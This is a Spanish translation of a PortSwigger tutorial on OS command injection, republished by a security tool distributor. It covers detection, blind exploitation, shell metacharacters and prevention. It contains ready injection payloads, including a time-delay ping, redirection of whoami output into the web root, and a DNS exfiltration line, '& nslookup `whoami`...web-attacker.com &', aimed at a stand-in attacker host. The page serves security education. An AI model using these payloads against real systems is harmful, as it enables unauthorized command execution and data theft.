OS command injection / Inyección de comandos del SO
En esta sección, explicamos qué es la inyección de comandos del sistema operativo y describimos cómo detectar y explotar vulnerabilidades. También mostramos algunos comandos y técnicas útiles para diferentes sistemas operativos y describimos cómo prevenir la inyección de comandos del sistema operativo.

¿Qué es la Inyección de Comandos del Sistema Operativo?
La inyección de comandos del sistema operativo (SO) también se conoce como inyección de shell. Permite a un atacante ejecutar comandos del sistema operativo (SO) en el servidor que ejecuta una aplicación y, por lo general, comprometer completamente la aplicación y sus datos. A menudo, un atacante puede aprovechar una vulnerabilidad de inyección de comandos del SO para comprometer otras partes de la infraestructura de alojamiento y explotar las relaciones de confianza para dirigir el ataque a otros sistemas de la organización.
Inyección de comandos del sistema operativo
En este ejemplo, una aplicación de compras permite al usuario ver si un artículo está disponible en una tienda específica. Se accede a esta información mediante una URL:
https://insecure-website.com/stockStatus?productID=381&storeID=29
Para proporcionar la información de stock, la aplicación debe consultar varios sistemas heredados. Por razones históricas, la funcionalidad se implementa mediante una llamada a un comando de shell con los ID del producto y la tienda como argumentos:
stockreport.pl 381 29
Este comando muestra el estado de stock del artículo especificado, que se devuelve al usuario.
La aplicación no implementa defensas contra la inyección de comandos del sistema operativo, por lo que un atacante puede enviar la siguiente entrada para ejecutar un comando arbitrario:
& echo aiwefwlguh &
Si esta entrada se envía en el productID parámetro, el comando ejecutado por la aplicación es:
stockreport.pl & echo aiwefwlguh & 29
El echocomando hace que la cadena suministrada se repita en la salida. Esto es útil para comprobar algunos tipos de inyección de comandos del sistema operativo. El &carácter es un separador de comandos del shell. En este ejemplo, provoca la ejecución de tres comandos independientes, uno tras otro. La salida devuelta al usuario es:
Error - productID was not provided
aiwefwlguh
29: command not found
Las tres líneas de salida demuestran que:
- El comando original
stockreport.plse ejecutó sin los argumentos esperados y, por lo tanto, devolvió un mensaje de error. - Se ejecutó el
echocomando inyectado y la cadena suministrada se repitió en la salida. - El argumento original
29se ejecutó como un comando, lo que provocó un error.
- El comando original
Colocar el separador de comandos adicional &después del comando inyectado es útil porque separa el comando inyectado de lo que sigue al punto de inyección. Esto reduce la posibilidad de que lo que sigue impida la ejecución del comando inyectado.
Comandos útiles
Tras identificar una vulnerabilidad de inyección de comandos en el sistema operativo, es útil ejecutar algunos comandos iniciales para obtener información sobre el sistema. A continuación, se presenta un resumen de algunos comandos útiles en plataformas Linux y Windows:
| Propósito del mando | Linux | Windows |
|---|---|---|
| Nombre del usuario actual | whoami | whoami |
| Sistema operativo | uname -a | ver |
| Configuración de red | ifconfig | ipconfig /all |
| Conexiones de red | netstat -an | netstat -an |
| Procesos en ejecución | ps -ef | tasklist |
Escaneo DAST automatizado sin límites. Basado en la tecnología Burp en la que sus equipos de seguridad ya confían..
Conocer …
Vulnerabilidades de inyección de comandos ciegos en el sistema operativo
Muchos casos de inyección de comandos del sistema operativo son vulnerabilidades ciegas. Esto significa que la aplicación no devuelve la salida del comando en su respuesta HTTP. Las vulnerabilidades ciegas aún pueden explotarse, pero se requieren técnicas diferentes.
Por ejemplo, imaginemos un sitio web que permite a los usuarios enviar comentarios. El usuario introduce su correo electrónico y el mensaje. La aplicación del servidor genera un correo electrónico con los comentarios para el administrador del sitio. Para ello, llama al mailprograma con los datos enviados:
mail -s "This site is great" -aFrom:peter@normal-user.net feedback@vulnerable-website.com
La salida del mailcomando (si la hay) no se devuelve en las respuestas de la aplicación, por lo que usar la echocarga útil no funcionará. En esta situación, se pueden usar otras técnicas para detectar y explotar una vulnerabilidad.
Detección de inyección ciega de comandos del sistema operativo mediante retrasos de tiempo
Puede usar un comando inyectado para activar un retardo, lo que le permite confirmar que el comando se ejecutó según el tiempo que tarda la aplicación en responder. Este pingcomando es una buena manera de hacerlo, ya que permite especificar el número de paquetes ICMP que se enviarán. Esto le permite controlar el tiempo que tarda el comando en ejecutarse:
& ping -c 10 127.0.0.1 &
Este comando hace que la aplicación haga ping a su adaptador de red de bucle invertido durante 10 segundos.
Explotación de la inyección ciega de comandos del sistema operativo mediante la redirección de la salida
Puede redirigir la salida del comando inyectado a un archivo en la raíz web, que luego puede recuperar mediante el navegador. Por ejemplo, si la aplicación proporciona recursos estáticos desde la ubicación del sistema de archivos /var/www/static, puede enviar la siguiente entrada:
& whoami > /var/www/static/whoami.txt &
El >personaje envía la salida del whoamicomando al archivo especificado. Luego, puedes usar el navegador para https://vulnerable-website.com/whoami.txtrecuperar el archivo y ver la salida del comando inyectado.
Explotación de la inyección ciega de comandos del sistema operativo mediante técnicas fuera de banda (OAST)
Puedes usar un comando inyectado que active una interacción de red fuera de banda con un sistema que controlas, mediante técnicas OAST. Por ejemplo:
& nslookup kgji2ohoyw.web-attacker.com &
Esta carga útil utiliza el nslookupcomando para generar una búsqueda DNS para el dominio especificado. El atacante puede supervisar si la búsqueda se realiza y confirmar si el comando se inyectó correctamente.
El canal fuera de banda proporciona una manera sencilla de filtrar la salida de los comandos inyectados:
& nslookup `whoami`.kgji2ohoyw.web-attacker.com &
Esto provoca una búsqueda de DNS en el dominio del atacante que contiene el resultado del whoamicomando:
wwwuser.kgji2ohoyw.web-attacker.com
Formas de inyectar comandos del sistema operativo
Puede utilizar una serie de metacaracteres de shell para realizar ataques de inyección de comandos del sistema operativo.
Varios caracteres funcionan como separadores de comandos, lo que permite encadenarlos. Los siguientes separadores de comandos funcionan tanto en sistemas Windows como Unix:
&
&&
|
||
Los siguientes separadores de comandos solo funcionan en sistemas basados en Unix:
;
Newline (0x0a or \n)
En sistemas basados en Unix, también puedes usar comillas invertidas o el carácter de dólar para realizar la ejecución en línea de un comando inyectado dentro del comando original:
`comando inyectado`$(comando inyectado)
Los diferentes metacaracteres del shell tienen comportamientos ligeramente diferentes que podrían influir en su funcionamiento en ciertas situaciones. Esto podría influir en si permiten la recuperación en banda de la salida del comando o si son útiles solo para la explotación a ciegas.
A veces, la entrada que controlas aparece entre comillas en el comando original. En este caso, debes terminar el contexto entre comillas (usando "o ') antes de usar los metacaracteres de shell adecuados para inyectar un nuevo comando.
Cobalt Strike es una poderosa herramienta de emulación de amenazas que proporciona un agente posterior a la explotación y canales encubiertos ideales para simulaciones de adversarios y ejercicios del Red Team.
Conocer …
Cómo prevenir ataques de inyección de comandos del sistema operativo
La forma más eficaz de prevenir vulnerabilidades de inyección de comandos del sistema operativo es no invocar comandos del sistema operativo desde el código de la capa de aplicación. En casi todos los casos, existen diferentes maneras de implementar la funcionalidad requerida utilizando API de plataforma más seguras.
Si necesita llamar a comandos del sistema operativo con entradas proporcionadas por el usuario, debe realizar una validación de entrada rigurosa. Algunos ejemplos de validación efectiva incluyen:
- Validación contra una lista blanca de valores permitidos.
- Validando que la entrada sea un número.
- Validar que la entrada contenga sólo caracteres alfanuméricos, ninguna otra sintaxis o espacios en blanco.
Nunca intentes sanear la entrada escapando metacaracteres del shell. En la práctica, esto es demasiado propenso a errores y vulnerable a ser evadido por un atacante experto.
fuente: portswigger
NORTH NETWORKS es Distribuidor Oficial y brinda licencias nuevas, renovaciones y servicios profesionales de las herramientas mas importantes.
Pongase en contacto y le ayudaremos a analizar sus necesidades para poder brindarle la herramienta que mejor se ajuste a sus requerimientos.
Si te ha gustado, ¡compártelo con tus amigos!




